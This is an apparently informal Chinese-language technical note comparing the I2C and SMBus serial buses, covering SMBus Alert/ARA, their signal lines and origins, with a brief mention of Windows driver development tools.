    • 提供大量的驅動程式範例,例如:USB、WMI、滑鼠、鍵盤等。賦予驅動程式開發者極大的方便。Windows Vista作業系統改採 Windows Driver Kit(WDK)來取代原本Windows XP上開發的硬體驅動程式撰寫方式Windows驅動程序開發工具包(DDK)
    • 微軟的WDK、WinDbg 及相關工具

I2C Bus 與 SMBus 有什麼不同?

傳統的i2c Bus裡的 slave device並無法主動通知master 有事件發生;而SMbus因為有另外支援SMBus Alert signal, 所以Host收到Alert可另外發出ARA Protocol詢問是那一個slave device發出Alert,進一步針對此slave device加以處理。

SMBus與I2C同樣都是屬於匯流排的標準,由於SMBus Specification的制定是依據I2C,因此二個標準有許多相似的地方,以下將列出SMBus與I2C之間相同與差異之處。

SMSBUS 系統管理匯流排(System Management Bus)

SMbus 最早是由 Intel 公司提出來的. 現在由 SBS 管理維護這一個規格. 此規格是用 Philips 的 I2C 簡化而來. SMbus 是由兩條訊號所組成的一種匯流排. 是為了在系統上較慢速的裝置及電源管理裝置之間的溝通使用. 使系統可取得這些裝置的製造廠商,型號,一些控制資訊,錯誤訊息及狀態.這兩條訊號為 SMBCLK 和 SMBDATA. 這和 I2C 上的 Clock(SCL) 和 Data(SDA) 是一樣的.

I2C bus 內部整合電路匯流排(Inter-Integrated Circuit Bus)

傳統上,當有多項裝置要連接到處理器時,各項裝置的住址線以及資料線會個別接到處理器上,如此一來,就佔用了處理器的腳位,使得處理器的IC腳數目增加。為了解決這個問題,飛利浦公司在1980年代發展出所謂的交互整合電路(I2C)匯流排。I2C是一個低頻寬、短距離的通訊協定。所有的裝置藉由兩條線連接在一起,這兩條線分別為串列資料線(SDA)和串列時脈線(SCL)。由於所有的通訊只在這兩條線上動作,所以每一個裝置必須有一個獨一無二的住址,讓處理器來辨識它。

下面將更深入的來介紹交互整合電路(I2C)匯流排介面單元

  • I2C單元允許應用程式處理器透過I2C匯流排來服務master和slave裝置。
  • I2C單元啟動應用程式處理器與I2C周邊設備作溝通以及使用微控制器達成系統管理功能,I2C匯流排需要極少數的硬體來傳送有關於應用程式處理器系統到一個外部裝置的狀態和資料。
  • I2C單元是屬於應用程式處理器內部匯流排的一個周邊設備,資料是經由一個緩衝介面來傳送到I2C匯流排以及從I2C匯流排來接收,控制和狀態資訊是透過一組記憶體映像暫存器來傳送

文件:I2C Bus 與 SMBus 有什麼不同?

關於I2C Bus與SMBus,許多人很少去談論與瞭解兩者的細節差異,包括很多國外的簡報文件也經常將兩者混寫、交雜描述、交替運用。確實,在一般運用下,I2C Bus與SMBus沒有太大的差別,從實體接線上看也幾乎無差異,甚至兩者直接相連多半也能相安無誤地正確互通並運作。不過若真要仔細探究,其實還是有諸多不同,如果電子設計工程師不能明辨兩者的真實差異,那麼在日後的開發設計的驗證除錯階段時必然會產生困擾,為此本文將從各層面來說明I2C Bus與SMBus的細微區別,期望能為各位帶來些許助益。
ref

再次強調,
傳統的i2c Bus裡的 slave device並無法主動通知master 有事件發生;而SMbus因為有另外支援SMBus Alert signal, 所以Host收到Alert可另外發出ARA Protocol詢問是那一個slave device發出Alert,進一步針對此slave device加以處理。